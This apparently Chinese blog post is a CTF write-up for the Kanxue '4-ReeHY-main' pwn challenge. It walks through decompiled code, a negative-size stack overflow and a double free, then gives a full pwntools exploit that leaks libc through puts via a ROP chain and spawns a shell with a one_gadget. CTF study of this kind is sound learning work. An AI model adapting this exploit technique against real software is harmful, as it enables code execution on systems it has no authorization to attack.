看雪4-ReeHY-main-2017

原创

Peanuts_CTF 于 2019-01-26 22:41:04 发布 602 收藏

分类专栏： pwn 文章标签： pwn 看雪CTF

本文链接：https://blog.csdn.net/w12315q/article/details/86662149

看雪4-ReeHY-main-2017

题目本身很有意思应该会有很多种解法这里先记录第一种解法，栈的方法

题目链接：https://ctf.pediy.com/game-fight-34.htm

主程序分析

```
ssize_t sub_400943()
{
  puts("******************************");
  puts("Welcome to my black weapon storage!");
  puts("Now you can use it to do some evil things");
  puts("1. create exploit");
  puts("2. delete exploit");
  puts("3. edit exploit");
  puts("4. show exploit");
  puts("5. exit");
  puts("******************************");
  return write(1, "$ ", 2uLL);
}
```


这里主要实现了几个功能吧，下面一一分析九个功能

```
int sub_4009D1()
{
  int result; // eax
  char buf; // [rsp+0h] [rbp-90h]
  void *dest; // [rsp+80h] [rbp-10h]
  int v3; // [rsp+88h] [rbp-8h]
  size_t nbytes; // [rsp+8Ch] [rbp-4h]

  result = dword_6020AC;
  if ( dword_6020AC <= 4 )
  {
```

```
  {
    puts("Input size");
    result = read_int();
    LODWORD(nbytes) = result;
    if ( result <= 0x1000 )
    {
      puts("Input cun");
      result = read_int();
      v3 = result;
      if ( result <= 4 )
      {
        dest = malloc((signed int)nbytes);
        puts("Input content");
        if ( (signed int)nbytes > 0x70 )
        {
          read(0, dest, (unsigned int)nbytes);
        }
        else
        {
          read(0, &buf, (unsigned int)nbytes);
          memcpy(dest, &buf, (signed int)nbytes);
        }
        *(_DWORD *)(qword_6020C0 + 4LL * v3) = nbytes;
        *((_QWORD *)&unk_6020E0 + 2 * v3) = dest;
        dword_6020E8[4 * v3] = 1;
        ++dword_6020AC;
        result = fflush(stdout);
      }
    }
  }
  return result;
}
```


这里首先让我们输入signint然后malloc一个这个大小的堆块，然后input cun让我们输入储存的大小其中不能超过4但是没有对输入进行一个判断，也没有对size的大小正负进行一个判断。所以这里有一个负数溢出的风险。继续分析，可以发现当size<0x70的时候会调用一个read函数，这里利用负数可以输入一个很大的字符串。

```
__int64 sub_400B21()
{
  __int64 result; // rax
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Chose one to dele");
  result = read_int();
  v1 = result;
  if ( (signed int)result <= 4 )
  {
    free(*((void **)&unk_6020E0 + 2 * (signed int)result));
    dword_6020E8[4 * v1] = 0;
    puts("dele success!");
    result = (unsigned int)(dword_6020AC-- - 1);
  }
  return result;
}
```

一个普通的堆删除的操作存在double free

```
signed int sub_400BA1()
{
  signed int result; // eax
  signed int v1; // [rsp+Ch] [rbp-4h]

  puts("Chose one to edit");
  result = read_int();
  v1 = result;
  if ( result <= 4 )
  {
    result = dword_6020E8[4 * result];
    if ( result == 1 )
    {
      puts("Input the content");
      read(0, *((void **)&unk_6020E0 + 2 * v1), *(unsigned int *)(4LL * v1 + qword_6020C0));
      result = puts("Edit success!");
    }
  }
  return result;
}
```


先检查堆是否在使用，如果在不是在使用则会退出

```
int sub_400C42()
{
  return puts("No~No~No~");
}
```

最坑的函数没有之一，没有show为什么要写show，不过如果是正常的show那么这个题就是普通的unsortbin leak然后double free更改malloc hook了。

思路分析

这里利用思路主要记录的是栈溢出思路，利用负数进行一个大输的输入，这里考验了一个选手对栈分布的把握了。

```
0000000000090 buf             db 128 dup(?)
0000000000010 dest            dq ?
0000000000008 var_8           dd ?
0000000000004 nbytes          dq ?
0000000000004                 db ? ; undefined
0000000000005                 db ? ; undefined
0000000000006                 db ? ; undefined
0000000000007                 db ? ; undefined
0000000000008   r             db 8 dup(?)
```


这里我们需要对输入进行一个栈的分配,首先我们要绕过memcpy对负数的检查和一些copy这里利用栈分布吧他们改写成0就不会造成什么危害了。

‘a’ * 128+p64(0)+p32(0)+p32(0)+‘a’ * 8

这样就可以成功的绕过了。接下来就是简单的pop啥的操作了

exp

```
from pwn import*

p = process('./4-ReeHY-main')
a = ELF('./4-ReeHY-main')
e = a.libc
context.log_level = 'debug'

def create(size,index,string):
    p.recvuntil('$ ')
    p.sendline('peanuts')
    p.recvuntil('$')
    p.sendline('1')
    p.recvuntil('Input size\n')
    p.sendline(str(size))
    p.recvuntil('Input cun\n')
    p.sendline(str(index))
    p.recvuntil('Input content\n')
    p.sendline(str(string))
def delte(index):
    p.recvuntil('Chose one to dele\n')
    p.sendline(str(index))
def edit(index,string):
    p.recvuntil('Chose one to edit\n')
    p.sendline(str(index))
    p.recvuntil('Input the content\n')
    p.sendline(str(string))
raw_input()
pop_rdi = 0x0400da3
pop_rsi_r15 = 0x400da1
put_got = 0x602020
put_plt = 0x4006D0
create(-1,1,'a'*128+p64(0)+p32(0)+p32(0)+'a'*8+p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(0x0400C8C))

puts_addr = u64(p.recvuntil('\n')[:6].ljust(8,'\x00'))
print hex(puts_addr)
libc_addr = puts_addr - e.symbols['puts']
print hex(libc_addr)
create(-1,1,'a'*128+p64(0)+p32(0)+p32(0)+'a'*8+p64(0x45216+libc_addr))

p.interactive()
```

未完待续。。。一题多解方法多2019.1.26
